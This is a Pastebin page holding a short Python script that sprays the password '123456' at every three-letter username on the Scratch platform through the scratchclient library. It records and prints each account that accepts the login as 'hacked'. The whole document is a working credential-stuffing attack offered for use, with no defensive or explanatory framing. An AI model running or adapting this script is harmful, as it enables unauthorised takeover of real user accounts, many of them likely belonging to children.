Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from scratchclient import ScratchSession as login, ScratchExceptions
- def get_usernames():
- usernames = list()
- alphabet = "abcdefghijklmnopqrstuvwxyz"
- for l1 in alphabet:
- for l2 in alphabet:
- for l3 in alphabet:
- usernames.append(l1 + l2 + l3)
- return usernames
- password = "123456"
- hacked = list()
- IncorrectPassword = ScratchExceptions.InvalidCredentialsException
- for username in get_usernames():
- try:
- session = login(username, password)
- hacked.append(username)
- print(username)
- except IncorrectPassword:
- pass
Add Comment
Please, Sign In to add comment